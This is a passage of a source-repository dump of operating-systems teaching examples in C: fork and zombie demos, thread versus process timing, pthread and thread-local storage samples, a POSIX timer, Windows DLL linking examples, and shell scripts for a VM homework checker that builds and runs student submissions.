(EXIT_FAILURE); 56 | } 57 | 58 | len = sizeof (caddr); 59 | if (getsockname (csock, (struct sockaddr *) &caddr, &len) < 0) { 60 | perror ("getsockname"); 61 | exit (EXIT_FAILURE); 62 | } 63 | 64 | print_sock (&laddr, "Listening socket"); 65 | print_sock (&caddr, "Connection socket"); 66 | 67 | return 0; 68 | } 69 | -------------------------------------------------------------------------------- /tests/test-fork-zombie.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(void) 6 | { 7 | pid_t pid1; 8 | pid_t pid2; 9 | 10 | pid1 = fork(); 11 | switch (pid1) { 12 | case -1: 13 | perror("fork"); 14 | exit(EXIT_FAILURE); 15 | break; 16 | 17 | case 0: 18 | printf("pid1: %d\n", pid1); 19 | pid2 = fork(); 20 | switch (pid2) { 21 | case -1: 22 | perror("fork"); 23 | exit(EXIT_FAILURE); 24 | case 0: 25 | printf("pid1: %d\n", pid2); 26 | sleep(5); 27 | exit(EXIT_SUCCESS); 28 | default: 29 | sleep(10); 30 | 31 | exit(EXIT_SUCCESS); 32 | } 33 | break; 34 | 35 | default: 36 | sleep(15); 37 | exit(EXIT_SUCCESS); 38 | } 39 | 40 | return 0; 41 | } 42 | -------------------------------------------------------------------------------- /thread-vs-process/.gitignore: -------------------------------------------------------------------------------- 1 | /thread-vs-process 2 | -------------------------------------------------------------------------------- /thread-vs-process/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # tests Makefile 3 | # 4 | 5 | CFLAGS = -Wall -g 6 | LDLIBS = -lpthread 7 | 8 | .PHONY: all clean 9 | 10 | all: thread-vs-process 11 | 12 | thread-vs-process: thread-vs-process.o 13 | 14 | clean: 15 | -rm -f thread-vs-process *~ *.o 16 | -------------------------------------------------------------------------------- /thread-vs-process/thread-vs-process.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | static void print_duration(const char *msg, struct timespec *tstart, struct timespec *tend) 10 | { 11 | long nsec_start; 12 | long nsec_end; 13 | 14 | nsec_start = 1000*1000*1000*tstart->tv_sec + tstart->tv_nsec; 15 | nsec_end = 1000*1000*1000*tend->tv_sec + tend->tv_nsec; 16 | 17 | printf("%s (ns): %ld\n", msg, nsec_end-nsec_start); 18 | } 19 | 20 | static void create_processes(size_t num) 21 | { 22 | struct timespec tstart, tend; 23 | pid_t *pid_array; 24 | size_t i; 25 | 26 | pid_array = malloc(num * sizeof(pid_t)); 27 | 28 | if (clock_gettime(CLOCK_REALTIME, &tstart) < 0) 29 | perror("clock_gettime"); 30 | for (i = 0; i < num; i++) { 31 | pid_array[i] = fork(); 32 | if (pid_array[i] == 0) 33 | exit(EXIT_SUCCESS); 34 | } 35 | if (clock_gettime(CLOCK_REALTIME, &tend) < 0) 36 | perror("clock_gettime"); 37 | 38 | print_duration("create processes in", &tstart, &tend); 39 | } 40 | 41 | static void *do_nothing(void *arg) 42 | { 43 | } 44 | 45 | static void create_threads(size_t num) 46 | { 47 | struct timespec tstart, tend; 48 | pthread_t *tid_array; 49 | size_t i; 50 | 51 | tid_array = malloc(num * sizeof(pthread_t)); 52 | 53 | if (clock_gettime(CLOCK_REALTIME, &tstart) < 0) 54 | perror("clock_gettime"); 55 | for (i = 0; i < num; i++) { 56 | pthread_create(&tid_array[i], NULL, do_nothing, NULL); 57 | } 58 | if (clock_gettime(CLOCK_REALTIME, &tend) < 0) 59 | perror("clock_gettime"); 60 | 61 | print_duration("create threads in", &tstart, &tend); 62 | } 63 | 64 | int main(void) 65 | { 66 | create_processes(1000); 67 | create_threads(1000); 68 | 69 | return 0; 70 | } 71 | -------------------------------------------------------------------------------- /threads/.gitignore: -------------------------------------------------------------------------------- 1 | /thread-memory-use-before-after 2 | /thread-memory-use-before-after-detach 3 | /use-__thread 4 | -------------------------------------------------------------------------------- /threads/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g -m32 2 | LDFLAGS = -m32 3 | LDLIBS = -lpthread 4 | 5 | .PHONY: all clean 6 | 7 | all: thread-memory-use-before-after thread-memory-use-before-after-detach use-__thread 8 | 9 | thread-memory-use-before-after: thread-memory-use-before-after.o 10 | 11 | thread-memory-use-before-after-detach: thread-memory-use-before-after-detach.o 12 | 13 | use-__thread: use-__thread.o 14 | 15 | clean: 16 | -rm -f *.o *~ 17 | -rm -f thread-memory-use-before-after 18 | -rm -f thread-memory-use-before-after-detach 19 | -rm -f use-__thread 20 | -------------------------------------------------------------------------------- /threads/thread-memory-use-before-after-detach.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define SLEEP_TIME_SECONDS 10 7 | 8 | static void *print_and_wait(void *arg) 9 | { 10 | printf("New sleeps for %u seconds\n", SLEEP_TIME_SECONDS); 11 | sleep(SLEEP_TIME_SECONDS); 12 | printf("New thread ends execution.\n"); 13 | 14 | return NULL; 15 | } 16 | 17 | int main(void) 18 | { 19 | pthread_t tid; 20 | pthread_attr_t attr; 21 | int rc; 22 | 23 | printf("Main thread sleeps for %u seconds before creating new thread.\n", SLEEP_TIME_SECONDS); 24 | sleep(SLEEP_TIME_SECONDS); 25 | 26 | pthread_attr_init(&attr); 27 | pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); 28 | rc = pthread_create(&tid, NULL, print_and_wait, NULL); 29 | if (rc < 0) { 30 | perror("pthread_create"); 31 | exit(EXIT_FAILURE); 32 | } 33 | 34 | printf("Main thread sleeps for %u seconds beore exiting.\n", 2 * SLEEP_TIME_SECONDS); 35 | sleep(2 * SLEEP_TIME_SECONDS); 36 | 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /threads/thread-memory-use-before-after.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define SLEEP_TIME_SECONDS 10 7 | 8 | static void *print_and_wait(void *arg) 9 | { 10 | printf("New thread sleeps for %u seconds\n", SLEEP_TIME_SECONDS); 11 | sleep(SLEEP_TIME_SECONDS); 12 | printf("New thread ends execution.\n"); 13 | 14 | return NULL; 15 | } 16 | 17 | int main(void) 18 | { 19 | pthread_t tid; 20 | int rc; 21 | 22 | printf("Main thread sleeps for %u seconds before creating new thread.\n", SLEEP_TIME_SECONDS); 23 | sleep(SLEEP_TIME_SECONDS); 24 | 25 | rc = pthread_create(&tid, NULL, print_and_wait, NULL); 26 | if (rc < 0) { 27 | perror("pthread_create"); 28 | exit(EXIT_FAILURE); 29 | } 30 | 31 | rc = pthread_join(tid, NULL); 32 | if (rc < 0) { 33 | perror("pthread_join"); 34 | exit(EXIT_FAILURE); 35 | } 36 | 37 | printf("Main thread sleeps for %u seconds after join and before exiting.\n", SLEEP_TIME_SECONDS); 38 | sleep(SLEEP_TIME_SECONDS); 39 | 40 | return 0; 41 | } 42 | -------------------------------------------------------------------------------- /threads/use-__thread.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | static __thread size_t me; 8 | static __thread size_t you; 9 | 10 | static void *tf(void *arg) 11 | { 12 | me = 200; 13 | printf("in thread (%p): %zu\n", &me, me); 14 | 15 | return NULL; 16 | } 17 | 18 | int main(void) 19 | { 20 | pthread_t new; 21 | int err; 22 | 23 | me = 100; 24 | you = 101; 25 | printf("me before create (%p): %zu\n", &me, me); 26 | 27 | err = pthread_create(&new, NULL, tf, NULL); 28 | if (err < 0) { 29 | perror("pthread_create"); 30 | exit(EXIT_FAILURE); 31 | } 32 | 33 | printf("me after create before join: %zu\n", me); 34 | pthread_join(new, NULL); 35 | printf("me after join: %zu\n", me); 36 | 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /timer/.gitignore: -------------------------------------------------------------------------------- 1 | /timer 2 | -------------------------------------------------------------------------------- /timer/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall 2 | 3 | all: timer 4 | 5 | timer: timer.o 6 | 7 | timer.o: timer.c 8 | 9 | clean: 10 | -rm -f *~ 11 | -rm -f timer.o timer 12 | -------------------------------------------------------------------------------- /timer/timer.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void handler(int signal) 6 | { 7 | } 8 | 9 | int main(void) 10 | { 11 | struct sigevent sigev; 12 | timer_t timerid; 13 | struct itimerspec its; 14 | int signal_value; 15 | sigset_t mask; 16 | 17 | sigev.sigev_notify = SIGEV_SIGNAL; 18 | sigev.sigev_signo = SIGUSR1; 19 | sigev.sigev_value.sival_ptr = &timerid; 20 | 21 | /* Configure signal. */ 22 | sigemptyset(&mask); 23 | sigaddset(&mask, SIGUSR1); 24 | signal(SIGUSR1, handler); 25 | 26 | timer_create(CLOCK_REALTIME, &sigev, &timerid); 27 | 28 | its.it_value.tv_sec = 1; 29 | its.it_value.tv_nsec = 500000000; /* 0.5 seconds */ 30 | its.it_interval.tv_sec = 3; 31 | its.it_interval.tv_nsec = 500000000; /* 0.5 seconds */ 32 | 33 | timer_settime(timerid, 0, &its, NULL); 34 | 35 | while (1) { 36 | printf("wait for timer\n"); 37 | sigwait(&mask, &signal_value); 38 | printf("after timer\n"); 39 | } 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /vmchecker/hello/.gitignore: -------------------------------------------------------------------------------- 1 | /hello 2 | -------------------------------------------------------------------------------- /vmchecker/hello/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | .PHONY: all clean pack 4 | 5 | all: hello 6 | 7 | clean: 8 | -rm -f hello.o hello 9 | -rm -f *~ 10 | 11 | pack: 12 | zip -r hello.zip hello.c Makefile 13 | -------------------------------------------------------------------------------- /vmchecker/hello/hello.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | puts("Hello, World!"); 6 | return 0; 7 | } 8 | -------------------------------------------------------------------------------- /vmchecker/linux-build: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Runs inside vm. 4 | home=$1 5 | cd $home 6 | 7 | install_job() 8 | { 9 | echo "homework contents: " 10 | unzip -l archive.zip 2>&1 11 | echo "unpacking ..." 12 | # note stdout redirected to stderr: do not output archive.zip contents 13 | # contents printed with more info above with "unzip -l" 14 | unzip -o archive.zip 1>&2 15 | return $? 16 | } 17 | 18 | build_job() 19 | { 20 | echo -e "\nchecker: building" 21 | echo "fixing file dates ..." 22 | /usr/bin/find . | xargs touch 2>&1 23 | make 2>&1 24 | if [ "$?" != 0 ]; then 25 | echo "checker: building failed" 26 | return 1 27 | fi 28 | 29 | echo "checker: building done" 30 | return 0 31 | } 32 | 33 | install_tests() 34 | { 35 | echo -e "\ntests.zip size: " $(stat -c%s "tests.zip") 36 | # note stdout redirected to stderr: do not output tests.zip contents 37 | # (large output) 38 | unzip -o tests.zip 1>&2 39 | return $? 40 | } 41 | 42 | build_tests() 43 | { 44 | if [ -f Makefile.checker ]; then make -f Makefile.checker build-$1; else echo dont know how to build tests; fi 2>&1 45 | 46 | return 0 47 | } 48 | 49 | check_job() 50 | { 51 | echo -e "\nchecker: checking " 52 | 53 | install_job; err=$? 54 | if [ $err != 0 ]; then 55 | return $err 56 | fi 57 | 58 | install_tests; err=$? 59 | if [ $err != 0 ]; then 60 | return $err 61 | fi 62 | 63 | build_tests "pre" ; err=$? 64 | if [ $err != 0 ]; then 65 | return $err 66 | fi 67 | 68 | build_job; err=$? 69 | if [ $err != 0 ]; then 70 | return $err 71 | fi 72 | 73 | build_tests "post" ; err=$? 74 | if [ $err != 0 ]; then 75 | return $err 76 | fi 77 | 78 | return 0 79 | } 80 | 81 | # Test it. 82 | check_job > build-stdout.vmr 2>build-stderr.vmr; err=$? 83 | return $err 84 | -------------------------------------------------------------------------------- /vmchecker/linux-run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | home=$1 4 | cd $home 5 | 6 | run_tests() 7 | { 8 | echo -e "\nchecker: testing" 9 | 10 | if [ -f _checker.sh ]; then 11 | /bin/bash _checker.sh 12 | elif [ -f Makefile.checker ]; then 13 | make -f Makefile.checker run 14 | else 15 | echo dont know how to run tests 16 | fi 2>&1 17 | } 18 | 19 | run_tests > run-stdout.vmr 2> run-stderr.vmr 20 | -------------------------------------------------------------------------------- /win-lib/dll-call-from-outside/Makefile: -------------------------------------------------------------------------------- 1 | CC = cl 2 | L = link 3 | CFLAGS = /nologo /W3 4 | 5 | all: main.exe 6 | 7 | main.exe: main.obj external.obj test.lib 8 | $(L) /nologo /out:$@ $** 9 | 10 | test.lib: test.dll 11 | 12 | test.dll: internal.obj 13 | $(L) /nologo /dll /out:$@ /implib:test.lib $** 14 | 15 | main.obj: main.c 16 | $(CC) $(CFLAGS) /c $** 17 | 18 | internal.obj: internal.c 19 | $(CC) $(CFLAGS) /c $** 20 | 21 | external.obj: external.c 22 | $(CC) $(CFLAGS) /c $** 23 | 24 | clean: 25 | del /Q /F *.obj *.lib *.dll *.exe *.exp 26 | -------------------------------------------------------------------------------- /win-lib/dll-call-from-outside/external.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "external.h" 4 | 5 | void external_fun(void) 6 | { 7 | printf("external function\n"); 8 | } 9 | -------------------------------------------------------------------------------- /win-lib/dll-call-from-outside/external.h: -------------------------------------------------------------------------------- 1 | #ifndef EXTERNAL_H_ 2 | #define EXTERNAL_H_ 1 3 | 4 | #include "spec.h" 5 | 6 | DECLSPEC void external_fun(void); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /win-lib/dll-call-from-outside/internal.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define DLL_EXPORTS 4 | #include "internal.h" 5 | #undef DLL_EXPORTS 6 | 7 | #define DLL_IMPORTS 8 | #include "external.h" 9 | #undef DLL_IMPORTS 10 | 11 | void internal_fun(void) 12 | { 13 | printf("internal function\n"); 14 | external_fun(); 15 | } 16 | -------------------------------------------------------------------------------- /win-lib/dll-call-from-outside/internal.h: -------------------------------------------------------------------------------- 1 | #ifndef INTERNAL_H_ 2 | #define INTERNAL_H_ 1 3 | 4 | #include "spec.h" 5 | 6 | DECLSPEC void internal_fun(void); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /win-lib/dll-call-from-outside/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "internal.h" 6 | 7 | int main(void) 8 | { 9 | printf("Hello, World!\n"); 10 | 11 | internal_fun(); 12 | 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /win-lib/dll-call-from-outside/spec.h: -------------------------------------------------------------------------------- 1 | #ifndef SPEC_H_ 2 | #define SPEC_H_ 1 3 | 4 | #if defined DLL_IMPORTS 5 | #define DECLSPEC __declspec(dllimport) 6 | #elif defined DLL_EXPORTS 7 | #define DECLSPEC __declspec(dllexport) 8 | #else 9 | #define DECLSPEC 10 | #endif 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /win-lib/dll-std-fd/Makefile: -------------------------------------------------------------------------------- 1 | CC = cl 2 | L = link 3 | CFLAGS = /nologo /W3 4 | 5 | all: main.exe 6 | 7 | main.exe: main.obj external.obj test.lib 8 | $(L) /nologo /out:$@ $** 9 | 10 | test.lib: test.dll 11 | 12 | test.dll: internal.obj 13 | $(L) /nologo /dll /out:$@ /implib:test.lib $** 14 | 15 | main.obj: main.c 16 | $(CC) $(CFLAGS) /c $** 17 | 18 | internal.obj: internal.c 19 | $(CC) $(CFLAGS) /c $** 20 | 21 | external.obj: external.c 22 | $(CC) $(CFLAGS) /c $** 23 | 24 | clean: 25 | del /Q /F *.obj *.lib *.dll *.exe *.exp 26 | -------------------------------------------------------------------------------- /win-lib/dll-std-fd/internal.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define DLL_EXPORTS 4 | #include "internal.h" 5 | #undef DLL_EXPORTS 6 | 7 | void internal_fun(void) 8 | { 9 | printf("stdin ptr: %p; stdout ptr: %p; stderr ptr: %p\n", 10 | stdin, stdout, stderr); 11 | } 12 | -------------------------------------------------------------------------------- /win-lib/dll-std-fd/internal.h: -------------------------------------------------------------------------------- 1 | #ifndef INTERNAL_H_ 2 | #define INTERNAL_H_ 1 3 | 4 | #include "spec.h" 5 | 6 | DECLSPEC void internal_fun(void); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /win-lib/dll-std-fd/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define DLL_IMPORTS 6 | #include "internal.h" 7 | #undef DLL_EXPORTS 8 | 9 | int main(void) 10 | { 11 | printf("Hello, World!\n"); 12 | 13 | internal_fun(); 14 | 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /win-lib/dll-std-fd/spec.h: -------------------------------------------------------------------------------- 1 | #ifndef SPEC_H_ 2 | #define SPEC_H_ 1 3 | 4 | #if defined DLL_IMPORTS 5 | #define DECLSPEC __declspec(dllimport) 6 | #elif defined DLL_EXPORTS 7 | #define DECLSPEC __declspec(dllexport) 8 | #else 9 | #define DECLSPEC 10 | #endif 11 | 12 | #endif 13 | --------------------------------------------------------------------------------